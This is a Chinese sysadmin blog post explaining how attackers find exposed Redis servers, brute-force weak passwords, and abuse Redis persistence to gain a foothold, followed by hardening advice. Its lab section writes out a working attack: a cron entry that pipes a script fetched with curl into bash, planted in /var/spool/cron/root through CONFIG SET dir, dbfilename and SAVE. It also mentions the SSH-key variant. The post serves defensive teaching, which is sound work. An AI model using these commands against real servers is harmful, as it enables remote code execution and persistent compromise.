本篇文章不会讲解详细的攻击指令,只探讨攻击策略和方法,更重要,更加重要的是作为一名运维而言,要知道如何避免被攻击,以此来保证服务器稳定安全的运行。
各位运维同仁大家好,我们之前在 服务器被挖矿了后应当如何做 中提及过,如何预防服务器被挖矿,其中有几条措施,分别是 权限最小化、合理使用防火墙 以及 关闭不必要的插件服务 。
正所谓知己知彼百战不殆, 那我们本篇文章来阐述一下如何利用Redis
弱密码进行攻击服务器,我们知晓了其攻击方法和原理,我们才能更好的预防此类攻击。
攻击者是如何找到我们服务的
要了解这个之前,我们首先得稍微普及下网络端口的相关知识,tcp/ip
传输层端口最大为65535,这个是怎么决定的呢? 这个其实取决于tcp/udp
报文中端口所占的字节数目决定的,例如tcp
报文和udp
报文如下,由于在报文中都占了16位(2字节),所以允许的最大端口数为: 2的16次方为 65536 ,注意这里还包含一个0,所以允许的最大端口数为 0 — 65535。
资料来源rfc793: www.rfc-editor.org/rfc/rfc793
资料来源rfc768: www.rfc-editor.org/rfc/rfc768
而65535个端口也被分配为了以下三类,大概如下
资源来源: rfc6335 www.rfc-editor.org/rfc/rfc6335…
端口范围 | 名称 | 作用 |
0 ~ 1023 | 熟知端口号 | 系统端口,一些基础服务使用的 |
1024 ~ 49151 | 注册端口号 | 用户端口,一些知名服务使用的 |
49152 ~ 65535 | 动态端口号 | 例如客户端在建立通信时临时使用的 |
我们看一下熟知端口号
端口号 | 描述 | 协议 |
20/21 | FTP使用 | TCP |
22 | ssh使用 | TCP |
25 | SMTP使用 | TCP |
53 | DNS使用 | UDP/TCP |
80 | HTTP使用 | TCP |
443 | HTTPS使用 | TCP |
顺便来看一下常用的注册端口号
端口号 | 描述 | 协议 |
3306 | MySQL使用 | TCP |
6379 | Redis使用 | TCP |
10050 | zabbix-agent使用 | TCP |
如上,我们就知晓了常用的端口号,例如我就想找对外开放了的redis
服务,进行攻击,那么最简单的办法是扫描整个网段的6379
端口,收集到相关的信息后,就知晓哪些是ip
的服务是可以尝试访问的。
这里介绍一个端口扫描工具: nmap
,具体怎么扫描的,由于篇幅原因,就不展开讲述了。
攻击者是如何进入大门的
上述通过nmap
工具,我们假设已经找见redis
的大门了,那么我们如何进门呢? 不好的地方在于redis
是没有用户名概念的,仅有一个密码(这对攻击者极为友好), 我们假设该数据库设置了密码,这个时候,攻击者普遍会拿出一大把钥匙(密码字典),然后逐步穷举尝试进入大门,若是很不幸,密码恰好在字典中,那数据库大门就被打开了。
这里还是介绍一个密码破解工具: hydra
,具体是怎么操作的,这里还是由于篇幅原因,就不展开讲了。
这里主要提及一点,能否破解成功,是要依靠密码字典,但是密码字典越长,所破解的时间就越长。
这里,我们假设使用的弱密码,被工具破解掉,以此来推动我们文章接下来的剧情。
关于Redis和Linux基础知识
这里为何要介绍这段呢? 这是因为任何攻击方式,都是利用其软件的特性,这里将介绍下Redis
和Linux
被攻击的时候,需要的基础知识,若是对此感兴趣,可以转战Linux
和Redis
专区学习更多知识。
Redis
我们将介绍Redis
如何写入string
类型的key
,以及落地概念和指令等。
Redis
作为一个内存数据库,我们想在数据库中插入一个string
类型的数据,可以使用set
指令,例如:
127.0.0.1:6379> set hello world OK 127.0.0.1:6379> get hello "world" 127.0.0.1:6379>
如上命令,我们使用set
来写一个名称为hello
的string
类型数据,其值为world
,而后通过get
指令获取hello
的值。
如上就已经将数据写入内存了,但是Redis
数据库为了避免因为机器原因(例如断电)等,内存中的数据丢掉,所以Redis
有一个功能,称之为数据落地。
我们使用save
指令,就可以使其执行落地操作。
127.0.0.1:6379> save OK 127.0.0.1:6379>
具体落地到哪个目录呢? 文件名是什么呢,别急,我们也可以通过查询得知。
127.0.0.1:6379> config get dir 1) "dir" 2) "/var/lib/redis" 127.0.0.1:6379> config get dbfilename 1) "dbfilename" 2) "dump.rdb" 127.0.0.1:6379>
通过如上的命令,我们来简单阐述下,redis
中的变量dir
保存的是数据落地的目录,同理dbfilename
保存的时候落地的文件名称。
我们整理为表格,如下:
指令 | 含义 |
dir | 数据落地的目录名称 |
filename | 数据落地的文件名称 |
save | 立即执行数据落地操作 |
set | 向数据库写入数据 |
Linux
我们将介绍Linux
的定时任务cron
和 秘钥登录 以及 如何从网络加载脚本文件在服务器执行,我们分别来看。
执行网络上的脚本文件
在Linux
中,我们可以通过 curl
配合bash
的方式,来使远程脚本执行,我么来尝试下。
我们编写如下脚本,脚本名称为: test.sh
#!/bin/bash echo "hello juejin pdudo !"
就是很简单,输出一句话hello juejin pdudo !
。
我们将其放置在web
服务器下,我已经搭建好了,并且已经做了内部dns
映射。
我们利用curl
查询下。
上述显示,我们已经将脚本放到web
服务器下,且可以访问了。
我们如何执行远程脚本呢? 我们可以利用管道的方式来执行,例如如上脚本,我们可以使用如下命令执行
curl -s pdudo.juejin.cn:81/test.sh | bash
执行效果如下:
定时任务
Linux
定时任务其实是有一个守护进程的,想要执行定时任务,需要先将其开起来。
在centos 7
下,可以使用systemctl status crond
看其状态。
我们如何查看和编辑定时任务呢? 我们可以使用crond
的编辑工具: crontab
。
其参数有2个比较重要的。
-e
: 编辑当前用户下的定时任务
-l
: 查看当前用户下的定时任务
例如我们创建一个任务
* * * * * echo "pdudo juejin" >> /data/hello.txt
其中时间为: * * * * *
,命令为: echo "pdudo juejin" >> /data/hello.txt
其时间为每分钟都执行该任务。
我们在新建任务后,可以在/data/hello.txt
文件中查看是否有数据产生了。
我们定义后的任务,实际保存在哪里了呢?
我们定义任务后,会被保存到/var/spool/cron/
目录中,以用户名命名,例如我们刚刚创建的任务,我们可以使用如下命令获取:
秘钥登录
在linux
中,登录ssh
除了使用密码之外,还可以使用所谓的秘钥登录,我们来简单演示下。
我们使用ssh-keygen
来生成秘钥
如上命令执行成功后,我们会得到2个文件,id_rsa
我们称之为私钥,id_rsa.pub
我们称之为公钥,我们仅需要将公钥发送到想要登录的机器上,我们即可使用无密码登录。
我们来尝试下,我们将id_rsa.pub
的内容复制到pdudo.juejin.cn
下的/root/.ssh/authorized_keys
中。
这里是想登录到哪个用户,就放到哪个用户的家目录下的 .ssh/authorized_keys
即可。
然后尝试登录机器。
如何利用Redis进行攻击呢
正如上所述,我们可以利用其特性,比如redis
落地功能,而linux
从文件抓取定时任务等,我们只需要将redis
的功能使用好,让其能够满足linux
任务的调用,即可实现攻击。
实验
我们通过上述基础知识铺垫,攻击者在进入redis
数据库后,会将命令写入key
中,例如:
我们写入定时任务,从远程执行脚本
127.0.0.1:6379> set xx "\n* * * * * curl -s pdudo.juejin.cn:81/test.sh | bash >> /data/hello1.txt \n" OK 127.0.0.1:6379>
而后,我们仅需将dir
修改到crond
目录下即可。
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/ OK 127.0.0.1:6379>
且将落地文件名修改为root
127.0.0.1:6379> CONFIG set dbfilename root OK 127.0.0.1:6379>
将数据落地到文件中
127.0.0.1:6379> SAVE OK 127.0.0.1:6379>
此时若我们退出redis
后再来检查文件,我们就会发现,其实定时任务已经写进去了。
我们看定时任务是否成功,可以看文件是否产生就可以了
注册私钥也是同理,这里就不展开介绍了。
如何避免被攻击
权限最小化
启动redis
的时候,不要使用root
权限,可以创建一个redis
用户用于启动该服务。
合理使用防火墙
尽量,数据库服务器,就不要对外开放,以免导致被攻击。
设置复杂的密码
尽量设置较为复杂的密码,例如可以借助各大网站的密码生成器。
更改服务器端口
如果你觉得上述设置还不够安全,你可以修改其对外端口。
总结
所谓的redis
攻击,其实是利用了其特性,但是上述是基于能够进入数据库的前提下的,而避免被攻击的建议还是老三套,权限最小化、合理使用防火墙、设置复杂的密码、以及修改对外端口。
这个修改对外端口,我要解释一下,是可以迷惑扫描工具的,我们可以尝试下:
我们将redis
的端口由原先的6379
修改为3306
,我们使用nmap
扫描下。
我们查看一下启动端口,命令: netstat -tulnp | head -n 2 ; netstat -tulnp | grep 3306
我们使用nmap
扫描一下本地的3306
端口
我们发现,扫描出来不是redis
服务,而是mysql
服务。所以修改端口具有迷惑性,但是效果不大,因为探一探包就清楚是什么服务了。
这里简单提及一下,我们既然知道了世界上还有一个机构叫做iana
,那我们如何查询iana
注册的端口号呢,这里给出一个方法:
访问iana
注册表: www.iana.org/assignments…
往下翻,有一个搜索的地方,例如我们搜索 6379
,我们看下是否是 redis
注册的哈。
总结一句 知己知彼百战不殆,作为运维,要向预防被攻击,首先要了解是如何攻击的,才能有效的预防。
怎么样,有意思吧。